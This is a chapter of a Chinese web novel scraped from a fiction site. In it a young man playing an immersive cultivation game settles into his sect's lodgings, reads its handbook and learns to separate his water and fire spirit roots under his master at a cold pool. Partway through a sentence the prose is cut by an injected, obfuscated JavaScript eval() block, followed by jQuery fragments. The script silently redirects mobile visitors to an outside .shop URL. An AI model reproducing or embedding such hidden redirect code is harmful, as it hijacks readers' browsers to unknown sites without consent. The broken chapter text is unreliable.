文趣网 > 其他小说 > 云外归 > 4. 寒潭
    鹤知秋把饭菜吃完后,把碗筷放到回收的木桶里,走出膳堂。夜风比先前凉了不少,平台上的弟子散了大半,灯笼还亮着。

    他在原地站了片刻,然后往师兄交代的住所方向走。今天接收了太多信息,他需要一个安静的地方把这些东西消化一下。

    住所在后山脚下一片相对平坦的区域,一排排木屋错落有致地分布在山坡上,每间屋子门前都挂着一盏小灯笼。他找到了自己的房间,门上贴着一张纸条,上面用漂亮的楷书写着“鹤知秋”,字迹工整,一看就是提前准备好的。

    推门进去,房间不大但很干净。一张木床,床上的被褥叠得整整齐齐,是新的,还带着被太阳晒过的味道。一张桌子,一把椅子,一盏灯,一个衣柜。墙上“挂着一幅字,和师尊竹舍里那幅很像:自在逍遥四个字,笔锋潇洒。

    他打开衣柜,里面已经放了两套换洗的内门弟子服,是苏杳在杂物房给他的那两套,让其他弟子帮他送了回来——白色交领中衣、蓝色广袖长袍、青色披帛。

    他从包里拿出入门手册。手册的纸张粗糙,墨迹深浅不一。第一页写的是逍遥派的历史:四百年前,鹤玹入住逍遥派,当时逍遥派只是云梦山脉中一个不起眼的小宗门,弟子不过数十人。鹤玹坐镇三百年,不曾扩招,不曾扬名,但没有任何宗门敢轻视逍遥派。

    第二页是门派地图。正殿、杂物房、膳堂、弟子房、经楼、演武场、丹房、闭关室,一一标出。后山标注了一片区域,上面画了三个字:寒潭,慎入。

    第三页是逍遥派的门规。鹤知秋以为会看到一大段密密麻麻的规矩,结果翻开一看,门规只有三条。

    一、不得滥杀无辜。

    二、不得欺师灭祖。

    三、想做什么就做什么,前提是前两条。

    下面有一行小字,应该是苏杳后来加的:第三条不是让你们无法无天。闯了祸别来找我。

    鹤知秋笑了一下。他合上手册,翻开那本更厚的册子——《修仙九境》。第一页是一段总述,字迹端正,用词古朴:

    “修仙九境,以观为名。观者,眼界也。境界高低不在力量大小,在心胸广狭。一境一重天,九境之外更有天地,非本书所述。”

    下面列出了九个境界:观我、观物、观人、观心、观道、观天、观界、观无、观一。每一境后面都有简短的注解,但鹤知秋只仔细看了第一境。

    观我境:内观自身,感知灵脉。初入道者,闭目内视,可见体内灵脉如河网,灵力如水流转。能清晰感知每一条灵脉的走向、粗细、强弱,即为观我境圆满。突破后可达观物境,外观万物,辨识灵气。

    反正闲着也是闲着不如试试引导灵力,鹤知秋想,毕竟他第一次玩到如此真实的游戏,不认真点总有一些对不起这个游戏的价值。

    他试着闭上眼睛,把注意力收回到体内。以前闭眼是一片漆黑,现在闭眼能看到一片柔和的灰,像晨光透过薄雾。在这片灰蒙蒙的背景上,他隐约能感觉到体内有两股力量在流动。

    一股温热,像沸腾的热水,在身体右侧缓缓游走。一股清凉,像山间溪流,在身体左侧静静流淌。两股力量沿着各自的路径运转,互不干扰,也互不相通。中间有一道无形的屏障把两种灵力隔开,泾渭分明。

    这就是水火双灵根。

    他试着手动引导其中一股灵力,用意念轻轻推了一下那股暖流。暖流微微加速,但很快又恢复了原来的速度。他再推那股清凉的,结果一样。灵力对他的意念有反应,但很微弱。

    他又试了一下,额头开始有些冒汗,灵脉隐隐发胀。他停下来,睁开眼睛。他想起师尊说的那句话,先学会分,才能学会合。

    他把册子放下,起身去洗漱。膳堂旁边的偏房有打热水的地方,他用水盆接了半盆热水,洗了脸,又用湿毛巾擦了擦脖子和手臂。逍遥派的生活条件比他想象中好,有热水,有干净被褥,有红烧肉,比他现实的出租屋还舒服几分。

    回到房间,他把灯吹灭,躺在床上。窗外的竹影映在窗纸上,风吹过时沙沙地响。他闭上眼,白丝绸没有摘。鹤玹没说什么时候要摘,他就先戴着。丝绸贴着皮肤的温度刚刚好,不凉不热。

    他以为这一天的事会让他失眠,但身体比大脑诚实。躺下去不到一盏茶的工夫,呼吸就变沉了。最后一个清醒的念头是一句模糊的话——明天寒潭,别迟到了。

    次日醒来的时候,晨光刚从窗缝里挤进来。

    他从床上坐起来,活动了一下肩膀和脖子。第一天在游戏里睡觉的体验很特别,不像平时游戏里那种过场一样的“睡了一觉”,而是真的睡了一觉,身体的疲劳感消失了。

    他起身穿好准备的衣服,白色交领中衣,外层穿着蓝色的广袖长袍,衣摆和袖口绣着云纹,肩间搭着青色披帛。腰间系着一条青色丝绦,纯白的蔽膝垂在两腿前。

    他把扇子插在腰间,推门出去。清晨的逍遥派和傍晚完全不同。山风带着湿润的凉意从山下吹上来,云海退到了山腰以下的位置,露出了大片翠绿的山林。太阳刚冒出一个边,阳光是橙金色的,把松树的影子拉得很长。

    膳堂里人不多,只有几个早起的弟子在喝粥。鹤知秋要了一碗白粥、一碟咸菜、两个馒头。掌勺师傅比昨天晚上看起来精神,菜勺抡得虎虎生风。

    他吃完早饭,问了掌勺师傅寒潭的方向,对方用一种“又一个不知死活的”的眼神看了他几秒,然后指了指后山。

    去后山的路比鹤知秋想象中更长。从弟子房出发,经过演武场、闭关室、一片松林,然后石阶开始变陡变窄,两旁的松树渐渐被枯树和岩石取代。

    空气的温度在降低,每走几十步就能明显感觉到风又冷了一分。他边走边想,现实里他大概率不会因为刚认识的人让他去一个地方他就去。但这里不一样……游戏嘛,说不定还能触发什么剧情呢。

    走了大概两刻钟,他听到水声。

    不是瀑布轰隆隆的巨响。水滴从高处落进水面,一滴一滴,每一声都在山谷里回荡。他穿过最后一片枯树林,眼前出现了一潭水。

    潭不大,大概半个篮球场的面积。潭水是深蓝色的,近乎墨色,水面平静得没有一丝波纹。

    潭边岩石上长满了苔藓,石缝里挂着冰凌,明明才是初秋的天气。水中央有一块突起的石头,石头顶端有水滴缓缓渗出来,滴进潭面,发出清脆的一声。

    寒潭,果然是寒潭。

    鹤知秋站在潭边打了个寒颤,感觉到深入骨髓的冷。

    鹤知秋目光一移,看到鹤玹早已在那了,他站在潭边一块平整的岩石上,背对着鹤知秋。浅金色的发丝在风中飘散开来,头顶的猫耳微微前倾,像是在听潭水深处什么细微的声响。听到鹤知秋的脚步声,他没有转身,只是微微侧了侧头。

    “早。”

    鹤知秋走过去,站到他旁边那块岩石上。“师尊早。”

    鹤玹今天穿的和昨天不太一样。黑色中衣外面罩了一件白色的大氅,领口缀着一圈银灰色的绒毛。红色的外袍依旧搭在真上。

    鹤玹转头看了他一眼。

    “昨天睡得好吗。”

    “挺好的,”鹤知秋说,“床比我想的舒服。”

    鹤玹没有接这个话题。他抬起手,指尖凝出一团淡蓝色的光。光团离开他的手指,飘到潭面上方,悬停在潭水中央上空约两尺的位置。

    “寒潭水属极阴,”鹤玹说,“与你体内的水灵根同源。在此处修炼,水灵根会比平时活跃。火灵根则会受到压制,这是好事。你体内水火两种灵力,水弱火强。在寒潭修炼,可以借地势平衡两种灵力。”

    他顿了顿。

    “观我境的修士,无论多灵根还是单灵根按理说只主修一种灵根即可,你是双灵根,而且是水火双属。水火相克,不加以引导,迟早会互相消耗。分脉的目的,是让两股灵力在体内形成两条独立运转的经脉回路,各自为政,互不干扰,最后才汇入丹田。”

    “怎么分?”鹤知秋问。

    鹤玹转过身,面对着他。那双蓝眼睛在晨光下就像冰层下面的湖水。

    “坐下。”

    鹤知秋在岩石上盘膝坐下。岩石表面的凉意透过衣袍渗进皮肤,激得他后背一紧。鹤玹走到他身后,一只手轻轻按在他头顶。

    “闭眼。”

    鹤知秋闭上眼。

    “现在内视,能看到什么。”

    他把注意力收回到体内。灰色的视野中,两条灵力河流比昨晚清晰了许多——也许是因为寒潭的环境,那条清凉的水灵根确实比昨天更活跃,在左侧灵脉中流速明显

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891176|212741||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    加快。右侧的火灵根则被压制了一些,温暖的河流变窄了,流速也慢了。

    “水,和火,”鹤知秋说,“水在左边,火在右边。中间有一道屏障。”

    “屏障是先天灵脉分隔,”鹤玹的声音从他头顶传来,很稳,像一只不偏不倚的手,“分脉不是要打破它,你的水火灵力目前还弱,屏障还能挡住。等灵力越来越强,屏障如果不够稳固,水会扑灭火,火会蒸发水。届时两道灵力在体内冲撞,轻则经脉受损,重则经脉爆裂重伤爆体。”

    “那怎么加固?”

    “用灵识。”

    鹤玹按在他头顶的手微微收紧。一股细微的灵力从头顶灌入,像一根细丝线,沿着脊椎向下游走,在肩胛骨之间分成两股,分别探入左右两侧的灵脉。鹤知秋能清晰地感觉到那股外来灵力的路径——所过之处,灵脉微微发热,像是被什么东西轻轻烫了一下。

    “记住这条路线。”鹤玹说,“这是分脉之后两道灵力的运行回路。左水右火,各行其道。水从丹田起,经左肩、左臂至指尖,然后从指尖回流,沿左腰回到丹田。火从丹田起,经右肩、右臂至指尖,同样回流。两道灵力在丹田交汇但不相融,以此为起点和终点,永不交叉。”

    他说话的时候,那股灵力在鹤知秋体内缓慢地游走了一遍完整的回路。鹤知秋一一记住,这比他自己摸索的复杂得多。

    鹤玹说:“那些节点,是先天灵脉的交汇处。水火灵力如果在这些地方碰上,会互相消耗。分脉的路线故意绕开了这些交汇处,从更偏的支脉走。代价是运转速度会慢一些,但安全。”

    “不能打通吗?”

    “可以。”鹤玹说,“等你到观人境,灵脉足够坚韧,可以试着打通一两个节点。届时水火灵力在丹田之外的特定节点融合,就是冰火合击的基础。”他停了一下,“但那是以后的事。现在,你先试着用意念引导水灵根走一遍。”

    鹤知秋开始尝试。他的意念触到左侧那股清凉的灵力,水灵根比昨晚听话了一些。也许是寒潭环境的加持,也许是因为鹤玹刚才注入的那丝灵力还在,他感觉自己的灵脉比之前更通畅了。

    接下来的时间里,鹤知秋一遍一遍地引导水灵根沿着新的回路运转。经过他不停的尝试,灵力已经能畅通无阻,慢慢的他甚至不用刻意引导,灵力变得很稳定。

    “成了。”鹤玹把手从他头顶移开。“今天就到这里。”

    鹤知秋睁开眼。太阳已经升到了半空中,寒潭水面的颜色从墨蓝变成了明亮的宝石蓝。他的后背被冷汗浸透了,身体不再感到那么寒冷,暖暖的。

    “师尊,火系也是一样的步骤吗?”

    “不急。”鹤玹说,“你体内火比水强。先让水灵根稳定下来,三天后再分火脉。火灵根性子烈,在分脉之前先把水稳住。”

    “三天?”

    “你今天第一天就能做到如此地步。”鹤玹看了他一眼,“这个速度已经不慢了。”

    说“不慢”的时候,他的语调没有任何起伏,但头顶的猫耳轻轻抖了一下。鹤知秋好像知道了,师尊情绪有变化的时候,耳朵就会动。

    鹤玹走到潭边,蹲下来,用手指蘸了一下潭水。水滴在他指尖凝成一颗晶莹的珠子,没有掉落,在阳光下折射出七彩的光。

    “寒潭水还有一个用处。”他站起来,那颗水珠悬浮在他掌心,“你以后每次取一滴潭水,用灵力炼化后使用。极阴之水可以帮你稳住水灵根,不至于被火灵根压制。”

    他把水珠递给鹤知秋。鹤知秋接过来——水珠落在掌心,触手冰凉但不刺骨,在掌心滚了一圈,停在中指的指根处。

    “怎么炼化?”

    “用意念包裹它,把灵力注入进去。你感觉到水珠变温的时候,就成了。”

    鹤知秋试着用意念包裹住那颗水珠。水珠在掌心微微震动了一下,然后冰凉的触感开始减弱,渐渐变得温和。不一会,水珠的温度从冰凉的水变成了温水。

    而一股清凉从穴位渗入,沿着灵脉向上游走了一小段,然后消散了。灵脉中那种修炼后的酸胀感减轻了不少,他松了一口气,忽然感觉自己轻松了不少。

    鹤玹点了点头。“以后每天修炼完可以自己取水炼化。”

    “好。”鹤知秋站起来,拍了拍衣袍上的霜。